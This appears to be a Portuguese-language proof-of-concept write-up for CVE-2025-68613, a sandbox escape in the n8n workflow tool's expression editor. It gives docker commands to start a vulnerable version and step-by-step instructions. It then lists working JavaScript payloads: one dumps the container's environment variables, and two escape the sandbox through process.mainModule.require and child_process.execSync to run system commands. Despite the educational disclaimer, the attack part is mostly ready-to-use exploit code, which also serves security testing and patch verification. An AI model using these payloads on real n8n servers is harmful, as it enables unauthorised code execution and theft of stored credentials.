
POC for CVE-2025-68613
Apenas para Fins Educacionais Esta Prova de Conceito demonstra uma vulnerabilidade crítica (CVE-2025-68613) no n8n. Não use isto em sistemas que você não possui ou para os quais não tem permissão explícita para testar.
As versões do n8n anteriores à 1.122.0 contêm uma vulnerabilidade de Execução Remota de Código (RCE). Usuários autenticados podem contornar o sandbox de expressões e executar código arbitrário no sistema hospedeiro por meio de payloads JavaScript específicos no editor de expressões do workflow.
Crie um volume de dados e execute uma versão vulnerável do n8n (ex.: v1.120.0).
# Criar volume para persistência
docker volume create n8n_data
# Executar instância vulnerável do n8n
docker run -it --rm \
--name n8n \
-p 5678:5678 \
-v n8n_data:/home/node/.n8n \
n8nio/n8n:1.120.0
Navegue para http://localhost:5678 e complete a configuração inicial, se necessário.

Clique em "Add Workflow" para iniciar um workflow em branco.

Adicione um nó Set ao workflow. Este nó permite definir valores que podem ser avaliados como expressões.

No nó Set, modifique um parâmetro (ex.: value) e altere o tipo de entrada para Expression.

Insira os seguintes payloads no editor de expressões para demonstrar a vulnerabilidade.
Este payload acessa this.process.env para vazar variáveis de ambiente sensíveis do contêiner.
Payload:
{{ (function() {
return JSON.stringify(this.process.env, null, 2);
})() }}
Resultado:

Este payload contorna o sandbox acessando process.mainModule.require para carregar o módulo child_process, permitindo a execução de comandos arbitrários do sistema.
Payload:
{{ (function() {
const require = this.process.mainModule.require;
const { execSync } = require('child_process');
return execSync('whoami').toString();
})() }}

Resultado: Verifica o contexto de usuário do processo em execução.
Demonstra a capacidade de navegar pelo sistema de arquivos.
Payload:
{{ (function() {
const require = this.process.mainModule.require;
const { execSync } = require('child_process');
return execSync('ls -la /').toString();
})() }}
Resultado:
